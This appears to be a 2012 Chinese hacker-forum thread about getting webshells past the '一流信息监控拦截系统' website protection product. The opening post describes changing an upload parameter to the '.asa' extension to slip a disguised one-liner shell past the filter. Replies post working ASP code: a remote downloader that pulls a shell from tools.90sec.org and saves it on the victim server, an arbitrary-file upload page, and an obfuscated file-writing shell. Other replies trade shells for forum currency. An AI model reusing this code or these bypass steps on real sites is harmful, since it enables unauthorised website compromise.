# 一流防护软件突破（已经解决分享思路）

**URL:** <https://forum.90sec.com/t/topic/3625>\
**Category:** 交流讨论\
**Created:** [2012 年5 月 31 日 12:40 UTC](https://forum.90sec.com/t/topic/3625 "2012-05-31T12:40:01Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

作者： ![user26](https://forum.90sec.com/user_avatar/forum.90sec.com/user26/32/11370_2.png) [@user26](https://forum.90sec.com/u/user26)\
发布日期： [2012 年5 月 31 日 12:40 UTC](https://forum.90sec.com/t/topic/3625/1 "2012-05-31T12:40:01Z")

</div>

_本帖最后由 老鬼 于 2012-6-2 11:28 编辑_

有过一流防护软件的一句话的人PM我试试。不用大马，一句话就够了。。

上传的asp文件都会把内容过滤。

送金币加此程序的一个小oday（日同类站挖出来）。

此程序基本都是做百度推广的。

就不发金币悬赏了，做了直接转过去。死金币不如活的。

···················································································································  
匿名的、已经转了30金币 跟这程序的利用。其实没什么。主要就是表名。跟段。是日的这类程序找的表名

解决方法：：

[原受限内容，迁入私密分类]  
好了。。安全软件名字就是《一流信息监控拦截系统》

我看了是上传asp \<% %\>都是会过滤的。。。。。现在就是在这个里面 这里面是把、  
火狐 查看元素。  
upload.asp?后面的image改成asa

upload.asp?folder=Products&type=image&size=image

改成upload.asp?folder=Products&type=asa&size=asa

[QQ截图20120601000052.gif](https://forum.90sec.com/discuz-migration/attachments/f5acd387589438ca0e40dc49d43c45ebab8d48ba24bce94577d007708c406e65)

上传个图片一句话。。后缀asa......... 这里面上asa 大马一样是过滤的。更多再测试  
总结： asp 过滤内容 asa加文件头不过滤。。。。用用不常用的后缀

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2012 年5 月 31 日 13:12 UTC](https://forum.90sec.com/t/topic/3625/2 "2012-05-31T13:12:57Z")

</div>

\<%  
Set xPost = CreateObject("Microsoft.XMLHTTP")  
xPost.Open "GET","[http://tools.90sec.org/Tools/asp.txt](http://tools.90sec.org/Tools/asp.txt)",False  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile Server.MapPath("fuck.asp"),2  
set sGet = nothing  
set sPOST = nothing  
response.Write("下载成功！")  
%\>楼主远程下载,成功率很牛的哦！

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 31 日 13:32 UTC](https://forum.90sec.com/t/topic/3625/3 "2012-05-31T13:32:26Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=27727&ptid=2444) _老鬼_ \*\*

```vbscript

<% 
Dim oUpFileStream 
Class UpFile_Class 
Dim Form,File,Version,Err 
Private Sub Class_Initialize 
Version = "Version V1.0" 
Err = -1 
End Sub 

Private Sub Class_Terminate   
'清除变量及对像 
If Err < 0 Then 
   Form.RemoveAll 
   Set Form = Nothing 
   File.RemoveAll 
   Set File = Nothing 
   oUpFileStream.Close 
   Set oUpFileStream = Nothing 
End If 
End Sub 
  
Public Sub GetDate (RetSize) 
  '定义变量 
Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo 
Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName 
Dim iFindStart,iFindEnd 
Dim iFormStart,iFormEnd,sFormName 
  '代码开始 
If Request.TotalBytes < 1 Then 
   Err = 1 
   Exit Sub 
End If 
If RetSize > 0 Then 
   If Request.TotalBytes > RetSize Then 
   Err = 2 
   Exit Sub 
   End If 
End If 
Set Form = Server.CreateObject ("Scripting.Dictionary") 
Form.CompareMode = 1 
Set File = Server.CreateObject ("Scripting.Dictionary") 
File.CompareMode = 1 
Set tStream = Server.CreateObject ("ADODB.Stream") 
Set oUpFileStream = Server.CreateObject ("ADODB.Stream") 
oUpFileStream.Type = 1 
oUpFileStream.Mode = 3 
oUpFileStream.Open 
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes) 
oUpFileStream.Position = 0 
RequestBinDate = oUpFileStream.Read 
iFormEnd = oUpFileStream.Size 
bCrLf = ChrB (13) & ChrB (10) 
'取得每个项目之间的分隔符 
sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1) 
iStart = LenB (sSpace) 
iFormStart = iStart+2 
'分解项目 
Do 
   iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3 
   tStream.Type = 1 
   tStream.Mode = 3 
   tStream.Open 
   oUpFileStream.Position = iFormStart 
   oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart 
   tStream.Position = 0 
   tStream.Type = 2 
   tStream.CharSet = "gb2312" 
   sInfo = tStream.ReadText       
   '取得表单项目名称 
   iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1 
   iFindStart = InStr (22,sInfo,"name=""",1)+6 
   iFindEnd = InStr (iFindStart,sInfo,"""",1) 
   sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart) 
   '如果是文件 
   If InStr (45,sInfo,"filename=""",1) > 0 Then 
     Set oFileInfo = new FileInfo_Class 
     '取得文件属性 
     iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10 
     iFindEnd = InStr (iFindStart,sInfo,"""",1) 
     sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart) 
     oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1) 
     oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\")+1) 
     oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1) 
     iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14 
     iFindEnd = InStr (iFindStart,sInfo,vbCr) 
     oFileInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart) 
     oFileInfo.FileStart = iInfoEnd 
     oFileInfo.FileSize = iFormStart -iInfoEnd -2 
     oFileInfo.FormName = sFormName 
     file.add sFormName,oFileInfo 
   else 
   '如果是表单项目 
     tStream.Close 
     tStream.Type = 1 
     tStream.Mode = 3 
     tStream.Open 
     oUpFileStream.Position = iInfoEnd 
     oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2 
     tStream.Position = 0 
     tStream.Type = 2 
     tStream.CharSet = "gb2312" 
     sFormValue = tStream.ReadText 
     If Form.Exists (sFormName) Then 
       Form (sFormName) = Form (sFormName) & ", " & sFormValue 
       else 
       form.Add sFormName,sFormValue 
     End If 
   End If 
   tStream.Close 
   iFormStart = iFormStart+iStart+2 
   '如果到文件尾了就退出 
Loop Until (iFormStart+2) = iFormEnd 
RequestBinDate = "" 
Set tStream = Nothing 
End Sub 
End Class 

'文件属性类 
Class FileInfo_Class 
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt 
'保存文件方法 
Public Function SaveToFile (Path) 
On Error Resume Next 
Dim oFileStream 
Set oFileStream = CreateObject ("ADODB.Stream") 
oFileStream.Type = 1 
oFileStream.Mode = 3 
oFileStream.Open 
oUpFileStream.Position = FileStart 
oUpFileStream.CopyTo oFileStream,FileSize 
oFileStream.SaveToFile Path,2 
oFileStream.Close 
Set oFileStream = Nothing 
End Function 

'取得文件数据 
Public Function FileDate 
oUpFileStream.Position = FileStart 
FileDate = oUpFileStream.Read (FileSize) 
End Function 
End Class 
%>
```

```xml
<html> 
<head> 
<title>文件上传</title> 
<% 
Server.ScriptTimeOut=999999'要是你的上传的文件比较大，就必须设置。 
'定义变量 
dim Forumupload,ranNum 
dim formName,formPath,filename,file_name,fileExt,Filesize,F_Type 
dim dateupnum 
dim rename 
dim previewpath,F_Viewname 
F_Viewname="" 
previewpath="PreviewImage/" 
'===========================无组件上传============================ 
if request("up")=123 then 
Server.ScriptTimeOut=10000 

dim upload,file 
set upload=new UpFile_Class ''建立上传对象 
upload.GetDate (10000000*1024) '取得上传数据,不限大小 
formPath=upload.form("filepath") 
'在目录后加(/) 
if right(formPath,1)<>"/" then formPath=formPath&"/" 

for each formName in upload.file ''列出所有上传了的文件 
set file=upload.file(formName) ''生成一个文件对象 
fileExt=lcase(file.FileExt) ''文件类型 
'付值变量 
randomize 
ranNum=int(90000*rnd)+10000 

'file_name=lcase(file.filename) 
'filename=file_name&"."&fileExt 
filename=lcase(file.filename) 
rename=filename&"│" 
filename=formPath&filename 
Filesize=file.FileSize 

'记录文件 
if Filesize>0 then '如果 FileSize > 0 说明有文件数据 
file.SaveToFile Server.mappath(FileName) ''执行上传文件 

end if 
set file=nothing 
next 
'===========================无组件上传完============================ 
end if 
%> 
</head> 
<body> 
<form name="form" method="post" action="<%=url%>?up=123" enctype="multipart/form-data"> 
<table width="100%" border=0 cellspacing=0 cellpadding=0> 
<tr><td class=tablebody2 valign=top height=30> 
传至服务器已有虚拟目录: 
<input type="text" name="filepath" value="/" size="15"> 
本地文件： 
<input type="hidden" name="act" value="upload"> 
<input type="hidden" name="fname"> 
<input type="file" name="file1"> 
<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value"> 

</td></tr> 
</table> 
</form> 
</body> 
</html>

```

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 31 日 13:33 UTC](https://forum.90sec.com/t/topic/3625/4 "2012-05-31T13:33:56Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=27727&ptid=2444) _老鬼_ \*\*

```
这个是专门在一流下面上传的东西不知道你这个可以过不[code="vb"]

```

```xml
<html>  

<head>  

<title></title>  

</head>  
<script>  
function change()  
{  
    var tp="";  
    s=document.getElementsByName("content")[0].value;  
    a=s.split(’’);  
    for(var i=0;i<a.length;i=i+1)  
    {  
        tp=tp+a[i]+"鱼";  
    }  
    tp=tp.replace("\’","‘")  
    document.getElementsByName("content")[0].value=tp;  
}  
</script>  
<body>  
<%  
on error resume next  
if request("path")<>"" then  
    temp="scrip"&"ting.f"&"ilesyst"&"emobject"  
    set fso=server.createobject(temp)  
    response.write request.Form&""  
    path=request("path")  
    dama=replace(request("content"),"鱼","")  
    dama=replace(dama,"’","’")  
    dama=replace(dama,"‘","’")  
    set f=fso.createtextfile(path,true)  
    f.write dama  
    if err=0 then  
        response.write "成功"  
    else  
        response.write "失败"  
        err.clear  
    end if  
    set f=nothing  
    set fso=nothing  
end if  
%>  
<form method="post" action="">  
<table>  
<tr><td>当前路径 <%=server.mappath(request.servervariables("script_name"))%></td></tr>  
<tr><td>保存路径 <input type="text" name="path" size="40"> <input type="submit" xxxxx="change()" value="go"></td></tr>  
<tr><td><textarea name="content" rows="20" cols="50" >  
</textarea></td></tr>  
<tr><td></td></tr>  
</table>  
</form>  
</body>  

</html>

```

---

<div class="post-metadata">

作者： ![user26](https://forum.90sec.com/user_avatar/forum.90sec.com/user26/32/11370_2.png) [@user26](https://forum.90sec.com/u/user26)\
发布日期： [2012 年5 月 31 日 13:52 UTC](https://forum.90sec.com/t/topic/3625/5 "2012-05-31T13:52:33Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=27729&ptid=2444) _落叶_ \*\*

```
看样子是过滤的东西不是asp后缀里面的内容。。一样的都是空、、我换换后缀。。。已经PM

```

---

<div class="post-metadata">

作者： ![user26](https://forum.90sec.com/user_avatar/forum.90sec.com/user26/32/11370_2.png) [@user26](https://forum.90sec.com/u/user26)\
发布日期： [2012 年5 月 31 日 13:52 UTC](https://forum.90sec.com/t/topic/3625/6 "2012-05-31T13:52:48Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=27731&ptid=2444) _匿名用户_ \*\*

```
已经PM。、、

```

---

<div class="post-metadata">

作者： ![L.N](https://forum.90sec.com/user_avatar/forum.90sec.com/l.n/32/11411_2.png) [@L.N](https://forum.90sec.com/u/L.N)\
发布日期： [2012 年5 月 31 日 13:57 UTC](https://forum.90sec.com/t/topic/3625/7 "2012-05-31T13:57:41Z")

</div>

\*\*回复 [6#](http://www.90sec.org/redirect.php?goto=findpost&pid=27735&ptid=2444) _老鬼_ \*\*

帅哥，你说说那一个是起了作用的！

---

<div class="post-metadata">

作者： ![stefanie](https://forum.90sec.com/user_avatar/forum.90sec.com/stefanie/32/11441_2.png) [@stefanie](https://forum.90sec.com/u/stefanie)\
发布日期： [2012 年5 月 31 日 14:12 UTC](https://forum.90sec.com/t/topic/3625/8 "2012-05-31T14:12:27Z")

</div>

我有过一流拦截的一句话~

---

<div class="post-metadata">

作者： ![feng2020](https://forum.90sec.com/user_avatar/forum.90sec.com/feng2020/32/2980_2.png) [@feng2020](https://forum.90sec.com/u/feng2020)\
发布日期： [2012 年5 月 31 日 14:54 UTC](https://forum.90sec.com/t/topic/3625/9 "2012-05-31T14:54:45Z")

</div>

\*\*回复 [8#](http://www.90sec.org/redirect.php?goto=findpost&pid=27737&ptid=2444) _stefanie_ \*\*

```
求共享。。。。。。。

```

另外，一般XML下载都能解决的。。。。

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 31 日 15:21 UTC](https://forum.90sec.com/t/topic/3625/10 "2012-05-31T15:21:33Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=27729&ptid=2444) _落叶_ \*\*

```
楼主shell语句发送到你的QQ上 记得多赏点金币哈

```

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 31 日 15:22 UTC](https://forum.90sec.com/t/topic/3625/11 "2012-05-31T15:22:16Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=27727&ptid=2444) _老鬼_ \*\*

```
晕回复给落叶了 楼主shell已经发送到你QQ上了 多赏点金币哈

```

---

<div class="post-metadata">

作者： ![user26](https://forum.90sec.com/user_avatar/forum.90sec.com/user26/32/11370_2.png) [@user26](https://forum.90sec.com/u/user26)\
发布日期： [2012 年5 月 31 日 15:50 UTC](https://forum.90sec.com/t/topic/3625/12 "2012-05-31T15:50:57Z")

</div>

\*\*回复 [10#](http://www.90sec.org/redirect.php?goto=findpost&pid=27742&ptid=2444) _匿名用户_ \*\*

```
30金币。。。加这程序的小洞

```

---

<div class="post-metadata">

作者： ![user26](https://forum.90sec.com/user_avatar/forum.90sec.com/user26/32/11370_2.png) [@user26](https://forum.90sec.com/u/user26)\
发布日期： [2012 年5 月 31 日 16:06 UTC](https://forum.90sec.com/t/topic/3625/13 "2012-05-31T16:06:52Z")

</div>

\*\*回复 [9#](http://www.90sec.org/redirect.php?goto=findpost&pid=27740&ptid=2444) _流浪的风_ \*\*

```
已经解决

```

---

<div class="post-metadata">

作者： ![xiancc6](https://forum.90sec.com/letter_avatar_proxy/v4/letter/x/4491bb/32.png) [@xiancc6](https://forum.90sec.com/u/xiancc6)\
发布日期： [2012 年5 月 31 日 16:18 UTC](https://forum.90sec.com/t/topic/3625/14 "2012-05-31T16:18:59Z")

</div>

学习下，以后用得上

---

<div class="post-metadata">

作者： ![user26](https://forum.90sec.com/user_avatar/forum.90sec.com/user26/32/11370_2.png) [@user26](https://forum.90sec.com/u/user26)\
发布日期： [2012 年5 月 31 日 16:39 UTC](https://forum.90sec.com/t/topic/3625/15 "2012-05-31T16:39:39Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=27729&ptid=2444) _落叶_ \*\*

```
已经解决。。。

```

---

<div class="post-metadata">

作者： ![user36](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/8797f3/32.png) [@user36](https://forum.90sec.com/u/user36)\
发布日期： [2012 年5 月 31 日 17:12 UTC](https://forum.90sec.com/t/topic/3625/16 "2012-05-31T17:12:28Z")

</div>

回复看看 。。。

---

<div class="post-metadata">

作者： ![zenghuan](https://forum.90sec.com/user_avatar/forum.90sec.com/zenghuan/32/11417_2.png) [@zenghuan](https://forum.90sec.com/u/zenghuan)\
发布日期： [2012 年5 月 31 日 18:35 UTC](https://forum.90sec.com/t/topic/3625/17 "2012-05-31T18:35:30Z")

</div>

看看思路。。。还真不知道

---

<div class="post-metadata">

作者： ![z26811](https://forum.90sec.com/letter_avatar_proxy/v4/letter/z/779978/32.png) [@z26811](https://forum.90sec.com/u/z26811)\
发布日期： [2012 年5 月 31 日 19:43 UTC](https://forum.90sec.com/t/topic/3625/18 "2012-05-31T19:43:53Z")

</div>

看看思路。。。....

---

<div class="post-metadata">

作者： ![78155497](https://forum.90sec.com/letter_avatar_proxy/v4/letter/7/cc9497/32.png) [@78155497](https://forum.90sec.com/u/78155497)\
发布日期： [2012 年5 月 31 日 19:52 UTC](https://forum.90sec.com/t/topic/3625/19 "2012-05-31T19:52:21Z")

</div>

看看怎么解决的。

---

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2012 年5 月 31 日 23:13 UTC](https://forum.90sec.com/t/topic/3625/20 "2012-05-31T23:13:55Z")

</div>

过一流监控 谁都喜欢

[下一页](https://forum.90sec.com/t/topic/3625.md?page=2)
